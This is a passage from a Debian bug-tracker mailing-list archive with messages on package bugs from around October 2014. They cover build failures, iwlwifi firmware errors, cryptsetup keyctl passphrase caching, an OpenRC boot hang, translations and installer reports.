libcairo21.12.16-5 ii libcanberra0 0.30-2.1 ii libgdk-pixbuf2.0-0 2.30.8-1+b1 ii libgeocode-glib0 3.14.0-1 ii libglib2.0-0 2.42.0-2 ii libgnome-desktop-3-103.14.0-1 ii libgtk-3-0 3.14.1-1 ii libgweather-3-6 3.14.0-1 ii libpango-1.0-0 1.36.8-2 ii libpangocairo-1.0-0 1.36.8-2 gnome-clocks recommends no packages. gnome-clocks suggests no packages. -- debconf-show failed -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#760388: pepperflashplugin-nonfree: modifies conffile of another package
On Fri, Oct 10, 2014 at 07:37:56AM +, Bart Martens wrote: Hi Lucas, On Fri, Oct 10, 2014 at 09:21:43AM +0200, Lucas Nussbaum wrote: This bug prevents pepperflashplugin-nonfree from entering testing, so I'm a bit worried to see it without activity since Sep 10th. Is something happening behind the scene? Thanks for asking. I had not received a reply from mgilbert to my question of 10 September. I see now that chromium-browser in unstable uses /etc/chromium.d since 28 September so I can proceed now. http://metadata.ftp-master.debian.org/changelogs/main/c/chromium-browser/unstable_changelog Actually, that version of chromium was added on 6 October, not 28 September, and it's still out of date on amd64, so I cannot yet proceed now. https://packages.qa.debian.org/c/chromium-browser.html https://packages.debian.org/sid/chromium Regards, Bart Martens -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#751780: transition: libstdc++6 unordered_{map,set} ABI changes between GCC 4.8/4.9 in c++11 mode
On 16/06/14 17:02, Matthias Klose wrote:
Package: release.debian.org
Severity: important
Tags: sid jessie
This change mentioned in the GCC 4.9 news:
Improved support for C++11, including:
The associative containers in map and set and the
unordered associative containers in unordered_map and
unordered_set meet the allocator-aware container
requirements
is an ABI incompatible change in the unordered_{map,set} classes built in c++11
mode. The libstdc++6 library itself is not affected, so instead of having a
libstdc++6 transition, all packages providing a library built in c++11 mode and
using the unordered_{map,set} classes should be transitioned (changing the name
of the library package).
A grep of all sources for #include *unordered_{map,set}, and then searching in
the log files for usage of -std=c++{0x,11} did show the following packages
building library packages (for packages not having verbose build logs I had to
look into the source package):
bobcat 3.22.00-1
c++-annotations 9.9.1-2
capnproto 0.4.0-1
condor 8.0.6~dfsg.1-1
liblo 0.28-3
mrpt 1:1.0.2-1
qtbase-opensource-src-gles 5.2.1+dfsg-1
rapicorn 13.07.0~ds0-1
shogun 3.2.0-2
tesseract 3.03.03-1
zeroc-ice 3.5.1-6
For those transitions should be considered.
I'm not aware of any breakage because of this. Do you know if there's anything
that actually broke because of that ABI break?
Regards,
Emilio
--
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764682: kcemu: FTBFS on architectures not having the joystick interface
Source: kcemu Version: 0.5.1+dfsg-6 Severity: important Tags: patch User: debian-h...@lists.debian.org, debian-...@lists.debian.org Usertags: hurd, kfreebsd, autoreconf kcemu FTBFS on GNU/kFreeBSD and GNU/Hurd due to missing automake run to generate src/kc/Makefile.in from src/kc/Makefile.am. This is where src/kc/mod_js.cc is removed from the source file list if a joystick interface is missing. The attached debian/rules patch solves this problem, and probably also the FTBFS on arm64 too, see #727913 and #72 Thanks! --- a/debian/rules 2012-12-19 04:16:56.0 +0100 +++ b/debian/rules 2014-10-10 09:06:36.0 +0200 @@ -20,4 +20,5 @@ --enable-libvncserver=yes %: - dh $@ \ No newline at end of file + dh $@ --with autoreconf +
Bug#763172: iwlwifi: Microcode SW error
Hi, the wireless driver occasionally complains about microcode errors. This happens around twice a week. It didn't happen at all with the 3.14 kernel. My laptop runs an Intel Wireless 7260 card. I'm having exactly the same problem on my Dell Latitude E7240 at every boot. I can only use the card after rmmod iwlmvm iwlwifi modprobe iwlwifi . [4.054929] iwlwifi :02:00.0: Microcode SW error detected. Restarting 0x200. [4.054941] iwlwifi :02:00.0: CSR values: [4.054941] iwlwifi :02:00.0: (2nd byte of CSR_INT_COALESCING is CSR_INT_PERIODIC_REG) [4.054945] iwlwifi :02:00.0:CSR_HW_IF_CONFIG_REG: 0X00489204 [4.054948] iwlwifi :02:00.0: CSR_INT_COALESCING: 0X8040 [4.054951] iwlwifi :02:00.0: CSR_INT: 0X [4.054954] iwlwifi :02:00.0:CSR_INT_MASK: 0X [4.054956] iwlwifi :02:00.0: CSR_FH_INT_STATUS: 0X [4.054959] iwlwifi :02:00.0: CSR_GPIO_IN: 0X [4.054962] iwlwifi :02:00.0: CSR_RESET: 0X [4.054965] iwlwifi :02:00.0:CSR_GP_CNTRL: 0X000403c5 [4.054968] iwlwifi :02:00.0: CSR_HW_REV: 0X0144 [4.054971] iwlwifi :02:00.0: CSR_EEPROM_REG: 0X [4.054974] iwlwifi :02:00.0: CSR_EEPROM_GP: 0X8000 [4.054977] iwlwifi :02:00.0: CSR_OTP_GP_REG: 0X803a [4.054979] iwlwifi :02:00.0: CSR_GIO_REG: 0X00080044 [4.054982] iwlwifi :02:00.0:CSR_GP_UCODE_REG: 0X [4.054985] iwlwifi :02:00.0: CSR_GP_DRIVER_REG: 0X [4.054988] iwlwifi :02:00.0: CSR_UCODE_DRV_GP1: 0X [4.054991] iwlwifi :02:00.0: CSR_UCODE_DRV_GP2: 0X [4.054994] iwlwifi :02:00.0: CSR_LED_REG: 0X0018 [4.054997] iwlwifi :02:00.0:CSR_DRAM_INT_TBL_REG: 0X8821360f [4.054999] iwlwifi :02:00.0:CSR_GIO_CHICKEN_BITS: 0X27800200 [4.055002] iwlwifi :02:00.0: CSR_ANA_PLL_CFG: 0Xd5d5 [4.055005] iwlwifi :02:00.0: CSR_MONITOR_STATUS_REG: 0X2bb7fff7 [4.055008] iwlwifi :02:00.0: CSR_HW_REV_WA_REG: 0X0001001a [4.055011] iwlwifi :02:00.0:CSR_DBG_HPET_MEM_REG: 0X [4.055011] iwlwifi :02:00.0: FH register values: [4.055022] iwlwifi :02:00.0: FH_RSCSR_CHNL0_STTS_WPTR_REG: 0X2141f500 [4.055033] iwlwifi :02:00.0:FH_RSCSR_CHNL0_RBDCB_BASE_REG: 0X02141940 [4.055043] iwlwifi :02:00.0: FH_RSCSR_CHNL0_WPTR: 0X0010 [4.055054] iwlwifi :02:00.0: FH_MEM_RCSR_CHNL0_CONFIG_REG: 0X00801114 [4.055065] iwlwifi :02:00.0: FH_MEM_RSSR_SHARED_CTRL_REG: 0X00fc [4.055075] iwlwifi :02:00.0:FH_MEM_RSSR_RX_STATUS_REG: 0X0303 [4.055086] iwlwifi :02:00.0:FH_MEM_RSSR_RX_ENABLE_ERR_IRQ2DRV: 0X [4.055096] iwlwifi :02:00.0:FH_TSSR_TX_STATUS_REG: 0X07ff0001 [4.055107] iwlwifi :02:00.0: FH_TSSR_TX_ERROR_REG: 0X [4.055208] iwlwifi :02:00.0: Start IWL Error Log Dump: [4.055209] iwlwifi :02:00.0: Status: 0x0001, count: 6 [4.055210] iwlwifi :02:00.0: Loaded firmware version: 23.214.9.0 [4.055211] iwlwifi :02:00.0: 0x0034 | NMI_INTERRUPT_WDG [4.055211] iwlwifi :02:00.0: 0x02F0 | uPc [4.055212] iwlwifi :02:00.0: 0x | branchlink1 [4.055213] iwlwifi :02:00.0: 0x09A6 | branchlink2 [4.055213] iwlwifi :02:00.0: 0xC7B0 | interruptlink1 [4.055214] iwlwifi :02:00.0: 0x89A2 | interruptlink2 [4.055214] iwlwifi :02:00.0: 0x | data1 [4.055215] iwlwifi :02:00.0: 0x0002 | data2 [4.055215] iwlwifi :02:00.0: 0x0703 | data3 [4.055216] iwlwifi :02:00.0: 0x003AD360 | beacon time [4.055217] iwlwifi :02:00.0: 0x00052C9F | tsf low [4.055217] iwlwifi :02:00.0: 0x | tsf hi [4.055218] iwlwifi :02:00.0: 0x | time gp1 [4.055218] iwlwifi :02:00.0: 0x00052CA0 | time gp2 [4.055219] iwlwifi :02:00.0: 0x | time gp3 [4.055219] iwlwifi :02:00.0: 0x000417D6 | uCode version [4.055220] iwlwifi :02:00.0: 0x0144 | hw version [4.055221] iwlwifi :02:00.0: 0x00489204 | board version [4.055221] iwlwifi :02:00.0: 0x0912006A | hcmd [4.055222] iwlwifi :02:00.0: 0x00022080 | isr0 [4.055222] iwlwifi :02:00.0: 0x | isr1 [4.055223] iwlwifi :02:00.0: 0x0002 | isr2 [4.055223] iwlwifi :02:00.0: 0x404000C0 | isr3 [4.055224] iwlwifi :02:00.0: 0x0080 | isr4 [4.055225] iwlwifi :02:00.0: 0x01800112 | isr_pref [4.055225] iwlwifi :02:00.0:
Bug#740087: python-efl on mentors
Hi, Quoting Yann Dirson (2014-10-09 23:29:13) README.Source should give the URL for the git repo. A quick search on enlightenment.org did not allow me to find it (!), so I was not been able to verify the source. good point! I added that. Also, since this release does not come out of download.enlightenment.org, the Source: field is probably not adequate. I changed it to the git url and added a note. debian/patches/cython-version-comparison.patch would benefit from a short explanation about why this patch is needed (I assume it is because of the cython snapshot packaging). But I wrote the reason in the Description field: Otherwise versions like 0.20.1post0 cannot be parsed. I fixed the first two issues and re-uploaded the version to mentors. If you can tell me how the description of the patch is not clear, I'll add a clarification. cheers, josch -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764683: Bugreport installation-reports
Package: installation-reports Boot method: netinstall.iso on USB-Stick Image version: http://caesar.acc.umu.se/cdimage/weekly-builds/amd64/iso-cd/debian-testing-amd64-netinst.iso Date: 10.10.2014 09:30 UTC+1 Machine: Lenovo Flex 2-14D Processor: AMD Vision A8-6410 Memory: 4GB DDR3L-1600 SO-DIMM It's running EFI Partitions: df -Tl will do; the raw partition table is preferred Output of lspci -knn (or lspci -nn): Base System Installation Checklist: [O] = OK, [E] = Error (please elaborate below), [ ] = didn't try it Initial boot: [OK] Detect network card:[OK] Configure network: [OK] Detect CD: [OK] Load installer modules: [OK] Detect hard drives: [OK] Partition hard drives: [OK] Install base system:[E] Clock/timezone setup: [OK] User/password setup:[OK] Install tasks: [ ] Install boot loader:[ ] Overall install:[ ] Comments/Problems: It's not possible to install the kernel. The installer says, that no linux kernel could found in the apt-sources. After these step the installer request me to choose my favorite apt-mirror. I think these step should be before the search for a compatible kernel. Mit freundlichen Grüßen Im Auftrag Janek Kröger -- Landkreis Lüneburg · IT-Service Gebäude 6 · Zimmer 207 Am Springintgut 3 · 21335 Lüneburg Telefon 04131 26-1591 · Fax 04131 26-2591 E-Mail janek.kroe...@landkreis.lueneburg.de http://www.lueneburg.de/landkreis Rechtliche Hinweise: http://www.landkreis-lueneburg.de/e-mail Bitte an die Umwelt denken, bevor diese Mail ausgedruckt wird!
Bug#764635: blueman: No DHCP servers installed even when dnsmasq is installed
Hi James, thanks for your report. I'm tracking this upstream: https://github.com/blueman-project/blueman/issues/109#issuecomment-58625633 Cheers -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764597: u-boot: FTBFS on SH4 due to unsupported compiler option
Hi! On 10/10/2014 05:20 AM, Nobuhiro Iwamatsu wrote: I checked lastet gcc of Debian. Current GCC of sh4 does not support -m4-nopfu option. Because function for using multilib of SH4 does not enable. I started debugging about this. I assume we need a patch similar to this one again? [1] Adrian [1] http://cgit.openembedded.org/openembedded/plain/recipes/gcc/gcc-4.5/sh4-multilib.patch -- .''`. John Paul Adrian Glaubitz : :' : Debian Developer - glaub...@debian.org `. `' Freie Universitaet Berlin - glaub...@physik.fu-berlin.de `-GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764684: RFA: splash -- Visualisation tool for Smoothed Particle Hydrodynamics simulation
Package: wnpp X-Debbugs-CC: debian-as...@lists.debian.org, debian-de...@lists.debian.org Hi, I uploaded the splash package to Debian because I think it is worthwile to be included and it was already readily packaged by Gürkan Sengün. But I don't want to maintain this package on the long run, so I hope to find someone interested in taking over.I'll continue maintaining until then, however. So, if you are a cosmologist, or if you have other interests in this package: please consider maintaining it. It is also under Debian Astronomy Team Maintenance. Splash (formerly SUPERSPHPLOT) is a visualisation tool for output from (astrophysical) simulations using the Smoothed Particle Hydrodynamics (SPH) method in one, two and three dimensions. It is written in Fortran 90 and can utilise the PGPLOT graphics subroutine library to do the actual plotting. It is based around a command-line menu structure but utilises the interactive capabilities of PGPLOT to manipulate data interactively in the plotting window. Homepage: http://users.monash.edu.au/~dprice/splash/ License: GPL Best regards Ole -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#758788: [pkg-cryptsetup-devel] Bug#758788: cryptsetup: Passphrase caching broken in decrypt_keyctl
Hi Jonas, Le 09/10/2014 10:39, Jonas Meurer a écrit : Hey Luc, Am 09.10.2014 um 09:54 schrieb luc: Am 03.10.2014 um 21:55 schrieb Jonas Meurer: Did you find time to do the additional testing/debugging yet? I'd like to fix this bug in time for Debian Jessie, provided that it's really a bug in the package and not an issue on your side ;) Not yet, but I intend to do so. The problem occurs on a computer with some critical information on it, and the partitions already use the full disk space. This implies I have to do some careful work of shrinking filesystems, logical volumes and so on before I can set up a test partition aside. I see. But you don't need to resize your filesystems or go through similar hassle. Simply use file containers for testing. The following commands should setup a testing environment (use carefully, even though I tested them): # dd if=/dev/urandom of=/cont1 bs=1M count=3 # dd if=/dev/urandom of=/cont2 bs=1M count=3 # echo testpw | cryptsetup luksFormat /cont1 # echo testpw | cryptsetup luksFormat /cont2 # echo cont1_crypt /cont1 pw1 luks,keyscript=decrypt_keyctl \ /etc/crypttab # echo cont2_crypt /cont1 pw1 luks,keyscript=decrypt_keyctl \ /etc/crypttab # cryptdisks_start cont1_crypt # cryptdisks_start cont2_crypt On the first invocation (for cont1_crypt), I got this dialog: root@marislae:~# cryptdisks_start cont1_crypt [[] Starting crypto disk...[info] cont1_crypt (starting)... Caching passphrase for /cont1: ** keyctl_set_timeout: Permission denied Error setting timeout on key (2524288), removing Caching passphrase for /cont1: ** keyctl_set_timeout: Permission denied Error setting timeout on key (612589418), removing [Here I pressed ctrl-C to stop the attempts] Caching passphrase for /cont1: Erreur de lecture de la phrase secrète. I was running the commands from root. I initially logged in to the computer from SSH to a regular user, than did sudo -i to get root access if this matters. As I suspected this may be a problem, I allowed root direct SSH access and tried again, login directly to root account, this time it worked: root@marislae:~# cryptdisks_start cont1_crypt [] Starting crypto disk...[info] cont1_crypt (starting)... Caching passphrase for /cont1: ** [ ok _crypt (started)...done. root@marislae:~# cryptdisks_start cont2_crypt [] Starting crypto disk...[info] cont2_crypt (starting)... Using cached passphrase for /cont2. [ ok _crypt (started)...done. root@marislae:~# The /dev/mapper/cont1_crypt and /dev/mapper/cont2_crypt did appear correctly. Is there a way I could check the keyring just after boot, before it is cleared? I could probably set an independent init script to run after disks are mounted to dump the list of the keys in the keyring to some file in /tmp so I can retrieve them once the system is up and debug. I thing I could do this using some keyctl command, but don't know which one to use for a given entry in /etc/crypttab. Should it be simply keyctl list pw1 in the case of your example or something else? I saw in the decrypt_keyctl script some cryptkey-$1 identifier (probably used with an _ appended). How could I use this? best regards Luc As already mentioned - up to now I'm unable to reproduce the bug. For me, decrypt_keyctl works in all tested setups. The provided passphrase is stored in kernel keyring with first invokation and used for all the following device unlockings that have the same keyscript/keyname configured. I understand your point. It is difficult to debug here (as mentioned earlier putting some echo commands completely trashed the boot sequence). I'll do my best. I'm sorry that I brought you in troubles here. The echo command was untested and I at least should have written that. It was meant for debugging purposes only but it completely broke the keyscript. I'll try to not make such premature requests again :-/ Cheers, jonas I test the decrypt_keyctl script with the following setup, and it works as expected. Maybe you could try a similar setup: - create two small lvm logical volumes (5MB are more than enough) - luksformat both logical volumes - add them to your crypttab: clv1_crypt /dev/VG/LV1 testkey1 luks,keyscript=decrypt_keyctl clv2_crypt /dev/VG/LV2 testkey1 luks,keyscript=decrypt_keyctl - try unlocking them via cryptdisks_start: # cryptdisks_start clv1_crypt # cryptdisks_start clv2_crypt The second unlocking should use the key cached during first unlocking. It would be awesome if you could test this. I as well tested this setup during boot process, and it works as expected as well. Also tested with UUID instead of source device path in crypttab, same result. I've no glue what's different on your setups, and any help with debugging would be highly appreciated. In case that you still encounter the bug, please paste your full /etc/fstab and /etc/crypttab again. /etc/crypttab: sdb1_crypt
Bug#762033: node-highlight: incompatible with nodejs module name: highlight.js
Hi, What's your plan for the three reverse dependencies of libjs-highlight? -- Jonathan Wiltshire j...@debian.org Debian Developer http://people.debian.org/~jmw 4096R: 0xD3524C51 / 0A55 B7C5 1223 3942 86EC 74C3 5394 479D D352 4C51 directhex i have six years of solaris sysadmin experience, from 8-10. i am well qualified to say it is made from bonghits layered on top of bonghits -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#764564: [PKG-OpenRC-Debian] Bug#764564: openrc: fail to boot when encryption + lvm are present
Thanks to the folks on #openrc, I was finally able to root cause this bug. In file /lib/cryptsetup/cryptdisks.functions # if there's already a udev-triggered job running for this # device, wait for it to finish, then re-process to confirm # that it's started successfully. In the general case this # will just be a no-op, but we don't want to defer to the # other job entirely because this is the fallback for fixing # up any ordering-dependent decrypting. while status cryptdisks-udev DEVNAME=$dev_match 21 | grep -q 'start' do sleep 1 done Which leads to. [] + echo -n Starting early crypto disks... Starting early crypto disks...+ log_action_begin_msg_post Starting early crypto disks + : + mount_fs + local point + MOUNTED= + egrep -v ^[[:space:]]*(#|$) /etc/crypttab + read dst src key opts + dev_match=UUID=ae658322-236d-489a-8a9c-371a369873ec + [ ae658322-236d-489a-8a9c-371a369873ec != UUID=ae658322-236d-489a-8a9c-371a369873ec ] + readlink -f /dev/disk/by-uuid/ae658322-236d-489a-8a9c-371a369873ec + dev_match=/dev/sda7 + status cryptdisks-udev DEVNAME=/dev/sda7 + grep -q start + sleep 1 + + status cryptdisks-udev DEVNAME=/dev/sda7 grep -q start + sleep 1 + + status cryptdisks-udev DEVNAME=/dev/sda7 grep -q start + sleep 1 + + status cryptdisks-udev DEVNAME=/dev/sda7 grep -q start + sleep 1 + + status cryptdisks-udev DEVNAME=/dev/sda7 Commenting the while loop solves the problem. Should this be assigned to the cryptsetup maintainers ??? Ritesh On Friday 10 October 2014 01:15 PM, Ritesh Raj Sarraf wrote: On Friday 10 October 2014 03:20 AM, Robbie Harwood wrote: Don't think it's this, either. I did not interrupt any part of boot in order to get this failure; this failure happens*every time*. It's possible that the filesystem is read-only during boot here which would cause failure, but I don't have a good way to check that. If you agree that this is the same bug, then I may close this one. Unless you see something that I don't, I think this is a different bug. I think you are hit by the same bug as me. https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=750559 Unfortunately, I did not hear back from the maintainer or the upstream dev on this one. -- Ritesh Raj Sarraf RESEARCHUT -http://www.researchut.com Necessity is the mother of invention. -- Ritesh Raj Sarraf RESEARCHUT - http://www.researchut.com Necessity is the mother of invention.
Bug#764685: encfs: [l10n:cs] Initial Czech translation of PO debconf template for encfs 1.7.4-4
Package: encfs Version: 1.7.4-4 Severity: wishlist Tags: l10n patch Dear Maintainer, In attachment there is initial Czech translation of PO debconf template (cs.po) for package encfs, please include it. -- System Information: Debian Release: 7.6 APT prefers stable-updates APT policy: (500, 'stable-updates'), (500, 'proposed-updates'), (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 3.2.0-4-amd64 (SMP w/4 CPU cores) Locale: LANG=cs_CZ.UTF-8, LC_CTYPE=cs_CZ.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash # Czech PO debconf template translation of encfs. # Copyright (C) 2014 Michal Simunek michal.simu...@gmail.com # This file is distributed under the same license as the encfs package. # Michal Simunek michal.simu...@gmail.com, 2014. # msgid msgstr Project-Id-Version: encfs 1.7.4-4\n Report-Msgid-Bugs-To: en...@packages.debian.org\n POT-Creation-Date: 2014-10-07 19:56+0200\n PO-Revision-Date: 2014-10-10 09:15+0200\n Last-Translator: Michal Simunek michal.simu...@gmail.com\n Language-Team: Czech debian-l10n-cz...@lists.debian.org\n Language: cs\n MIME-Version: 1.0\n Content-Type: text/plain; charset=utf-8\n Content-Transfer-Encoding: 8bit\n #. Type: error #. Description #: ../encfs.templates:1001 msgid Encfs security information msgstr Informace o zabezpečení Encfs #. Type: error #. Description #: ../encfs.templates:1001 msgid According to a security audit by Taylor Hornby (Defuse Security), the current implementation of Encfs is vulnerable or potentially vulnerable to multiple types of attacks. For example, an attacker with read/write access to encrypted data might lower the decryption complexity for subsequently encrypted data without this being noticed by a legitimate user, or might use timing analysis to deduce information. msgstr Vzhledem k bezpečnostnímu auditu Taylora Hornby (Defuse Security), je současná implementace Encfs zranitelná, nebo potencionálně zranitelná vůči vícero typům útoků. Útočník s přístupem pro čtení/zápis do zašifrovaných dat může například snížit složitost dešifrování následně zašifrovaných dat, aniž by to oprávněný uživatel zaznamenal, nebo může k odvození informací využít časovou analýzu. #. Type: error #. Description #: ../encfs.templates:1001 msgid Until these issues are resolved, encfs should not be considered a safe home for sensitive data in scenarios where such attacks are possible. msgstr Dokud nebudou tyto problémy vyřešeny, nelze v situacích, kdy jsou tyto útoky možné, encfs považovat za bezpečné úložiště dat.
Bug#764682: kcemu: FTBFS on architectures not having the joystick interface
On 10/10/2014 10:02 AM, Svante Signell wrote: kcemu FTBFS on GNU/kFreeBSD and GNU/Hurd due to missing automake run to generate src/kc/Makefile.in from src/kc/Makefile.am. This is where src/kc/mod_js.cc is removed from the source file list if a joystick interface is missing. I know. It broke after the previous NMU. I was waiting for upstream to release 0.5.2 which would incorporate the kFreeBSD and Hurd fixes as well as some interface improvements. However, there is only a pre-release version of 0.5.2 available, but I might be inclined to import that version during the weekend and upload it to fix all these issue. The attached debian/rules patch solves this problem, and probably also the FTBFS on arm64 too, see #727913 and #72 Thanks! I will look into it! Adrian -- .''`. John Paul Adrian Glaubitz : :' : Debian Developer - glaub...@debian.org `. `' Freie Universitaet Berlin - glaub...@physik.fu-berlin.de `-GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#747802: epiphany-browser: FTBFS: error Headers webkit2/webkit2.h and webkit2/webkit-web-extension.h cannot be included together.
❦ 11 mai 2014 19:09 +0200, David Suárez david.sephi...@gmail.com : Version: 3.8.2-5 Severity: serious Tags: jessie sid User: debian...@lists.debian.org Usertags: qa-ftbfs-20140510 qa-ftbfs Justification: FTBFS on amd64 Hi, During a rebuild of all packages in sid, your package failed to build on amd64. Relevant part (hopefully): /bin/bash ../../libtool --tag=CC --mode=compile gcc -DHAVE_CONFIG_H -I. -I/«PKGBUILDDIR»/./embed/web-extension -I../.. -I/«PKGBUILDDIR»/./embed -I/«PKGBUILDDIR»/./lib -D_FORTIFY_SOURCE=2 -pthread -I/usr/include/webkitgtk-3.0 -I/usr/include/gtk-3.0 -I/usr/include/at-spi2-atk/2.0 -I/usr/include/at-spi-2.0 -I/usr/include/dbus-1.0 -I/usr/lib/x86_64-linux-gnu/dbus-1.0/include -I/usr/include/gtk-3.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/harfbuzz -I/usr/include/pango-1.0 -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libdrm -I/usr/include/libpng12 -I/usr/include/gdk-pixbuf-2.0 -I/usr/include/libpng12 -I/usr/include/libsoup-2.4 -I/usr/include/libxml2 -I/usr/include/webkitgtk-3.0 -I/usr/include/libsecret-1 -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wall -c -o libephywebextension_la-ephy-web-extension.lo `test -f 'ephy-web-extension.c' || echo '/«PKGBUILDDIR»/./embed/web-extension/'`ephy-web-extension.c libtool: compile: gcc -DHAVE_CONFIG_H -I. -I/«PKGBUILDDIR»/./embed/web-extension -I../.. -I/«PKGBUILDDIR»/./embed -I/«PKGBUILDDIR»/./lib -D_FORTIFY_SOURCE=2 -pthread -I/usr/include/webkitgtk-3.0 -I/usr/include/gtk-3.0 -I/usr/include/at-spi2-atk/2.0 -I/usr/include/at-spi-2.0 -I/usr/include/dbus-1.0 -I/usr/lib/x86_64-linux-gnu/dbus-1.0/include -I/usr/include/gtk-3.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/harfbuzz -I/usr/include/pango-1.0 -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libdrm -I/usr/include/libpng12 -I/usr/include/gdk-pixbuf-2.0 -I/usr/include/libpng12 -I/usr/include/libsoup-2.4 -I/usr/include/libxml2 -I/usr/include/webkitgtk-3.0 -I/usr/include/libsecret-1 -I/usr/include/glib-2.0 -I/usr/lib/x86_64-linux-gnu/glib-2.0/include -g -O2 -fstack-protector --param=ssp-buffer-size=4 -Wformat -Werror=format-security -Wall -c /«PKGBUILDDIR»/./embed/web-extension/ephy-web-extension.c -fPIC -DPIC -o .libs/libephywebextension_la-ephy-web-extension.o In file included from /«PKGBUILDDIR»/./embed/ephy-web-view.h:32:0, from /«PKGBUILDDIR»/./embed/ephy-embed.h:26, from /«PKGBUILDDIR»/./embed/ephy-adblock.h:23, from /«PKGBUILDDIR»/./embed/uri-tester.h:22, from /«PKGBUILDDIR»/./embed/web-extension/ephy-web-extension.c:30: /usr/include/webkitgtk-3.0/webkit2/webkit2.h:22:2: error: #error Headers webkit2/webkit2.h and webkit2/webkit-web-extension.h cannot be included together. #error Headers webkit2/webkit2.h and webkit2/webkit-web-extension.h cannot be included together. ^ In file included from /«PKGBUILDDIR»/./embed/web-extension/ephy-web-extension.c:34:0: /usr/include/webkitgtk-3.0/webkit2/webkit-web-extension.h:21:2: error: #error Headers webkit2/webkit2.h and webkit2/webkit-web-extension.h cannot be included together. #error Headers webkit2/webkit2.h and webkit2/webkit-web-extension.h cannot be included together. ^ make[5]: *** [libephywebextension_la-ephy-web-extension.lo] Error 1 I also get this error with a more recent version of the package. I don't understand how this bug can still be here and new versions being compiled without a problem on buildd. -- Make your program read from top to bottom. - The Elements of Programming Style (Kernighan Plauger) signature.asc Description: PGP signature
Bug#764441: sinfo and slurm-client: error when trying to install together
Le 2014-10-09 22:55, Gaudenz Steinlin a écrit : I will certainly update the Conflict if we can't agree on a better solution in the next few days. But as the Conflict was a workaround from the begining I'd prefer a solution where we agree on different names for the commands instead. I very much agree with what you say, but I think it is rather late to find a stable name (where also upstream is confortable with) in time for Jessie. There are only a few days left before the freeze. For that reason, I prefer to keep the old (and not so nice) workaround and work on a better solution to implement in Jessie+1. Regards, -- Mehdi -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#747465: RC?
Hi, intrigeri wrote (05 Oct 2014 19:05:29 GMT) : intrigeri wrote (07 Jun 2014 17:12:13 GMT) : This bug actually seems to be severity == grave, as it makes notification-daemon completely unusable or mostly so. Would the maintainers object if I raise the severity this way? [...] Reproduced on current sid. A patch was proposed upstream [1] and I've confirmed it fixes the problem for me. I'm tempted to raise the severity to grave, and to upload with that patch applied. Thoughts? [1] https://bugzilla.gnome.org/attachment.cgi?id=288082 Cheers, -- intrigeri -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#762211: lightdm crashes on startup, system falls back to console
Hello Pat! After updating lightdm to latest testing version I am having the same results but an error appears in the logs. segfault at * error 4 in libc-2.19.so You need to upgrade to 1.10.3-1 from unstable! Adrian -- .''`. John Paul Adrian Glaubitz : :' : Debian Developer - glaub...@debian.org `. `' Freie Universitaet Berlin - glaub...@physik.fu-berlin.de `-GPG: 62FF 8A75 84E0 2956 9546 0006 7426 3B37 F5B5 F913 -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#693837: notification-daemon: Bad position for the warning, fallback mode notification, and others
Hi, intrigeri wrote (07 Jun 2014 16:54:01 GMT) : I can reproduce this bug on Wheezy, Wheezy + current sid's 3.14.5-1 kernel, and on current sid (where it gets even worse, as notification-daemon crashes: #747465). A patch was proposed upstream [1], and I've confirmed it fixes the problem for me (once the patch proposed to fix #747465 is applied too, otherwise notification-daemon crashes before it has the chance to expose this other kind of buggy behavior). If any of the maintainers, or anyone else more versed than me in C/Glib code, was kind enough to have a look at that patch to check it doesn't do anything scary, I would be glad to NMU with these two patches (for #747465 and #693837) applied. (I don't care *that* much, since all my usecases, including Tails, will be migrated to GNOME Shell on Jessie, but still, thinking of the broader Debian users community, it would be good to provide a not-too-crappy UX on GNOME Flashback on Jessie :) [1] https://bugzilla.gnome.org/attachment.cgi?id=288083 Cheers, -- intrigeri -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#730593: bug#18675: Bug#730593: emacs24: fails to set fullscreen frame parameter on gnome 3
